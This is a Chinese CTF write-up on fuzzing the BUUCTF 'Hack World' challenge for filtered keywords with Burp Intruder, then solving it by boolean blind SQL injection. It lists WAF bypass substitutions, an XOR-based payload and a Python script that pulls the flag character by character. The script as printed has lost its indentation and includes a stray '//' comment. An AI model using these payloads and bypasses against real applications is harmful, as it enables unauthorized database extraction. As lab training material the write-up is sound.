FUZZ讲解
前言
何为Fuzz简单来说就是模糊测试
模糊测试(fuzz testing)是一种介于完全的手工渗透测试与完全的自动化测试之间的安全性测试类型
就是一遍一遍的去尝试
使用方法
拿buuctf 一道注入题来说
[CISCN2019 华北赛区 Day2 Web1]Hack World
输入1,2,3
分别有不同显示内容分别是
- Hello, glzjin wants a girlfriend
- Do you want to be my girlfriend?
- Error Occured When Fetch Result.
这里没有回显也没有报错信息 之后返回的不同字符用bool注入来做
先手动Fuzz一波 直接输入1or 1and 等等 来测试这些字符有没有过滤
发现都是 : SQL Injection Checked.
看来过滤了不少东西
总体来说就是先手工测试几个符号,大概看看有哪个被过滤掉了,然后在fuzz测试时,只要和你刚才测试的,length一样长的,就都是被过滤的。
上bp用intruder模块来爆破 看返回的长度
第一步
第二步
第三步 option 设为默认即可
最后 点击start attack 开始爆破
可以看到过滤了好多东西
还有 不同的respond 对应不同的返回长度
补充知识点
Bool注入基本基本流程是以字符注入为例
1'and if(substr(database(),%d,1)=%c,1,0)%(循环的值,循环的字符)#//如果为真 则返回 1 否则为0
这里先总结一下 过滤时候 代替的字符
-
空格可以用() 来代替 还有/**/
-
单引号 可以用16进制来代替
-
substr(str,1,1)可以用substr(str from 1 for 1)来代替
-
if(条件,1,2):意思是如果条件成立返回1否则返回2
当他过滤时可以用case()when()then()else()end -
= 可以用 regexp 或like代替
-
ord() 和ascii()互相替换
-
mid()和substr()互相替换
所以可以构造的pyload为
payload="3^if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)"%(i,j)
因为 3^2 = 2 得到这串字符Do you want to be my girlfriend?
构造的代码
整体代码如下
import requests
flag = ''
url='http://e31a6985-b732-45cb-84f7-58fcdb1f7ed4.node3.buuoj.cn/index.php'
for i in range(1, 50):
for j in range(33,128)://这个范围时可打印的所有字符
payload="3^if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)"%(i,j)
data={
'id':payload
}
s=requests.post(url,data=data)
if 'Do you want to be my girlfriend?' in s.text:
print(chr(j),end='')
这里我用二分法 不知道为啥没跑出来 所以智能用常规的来解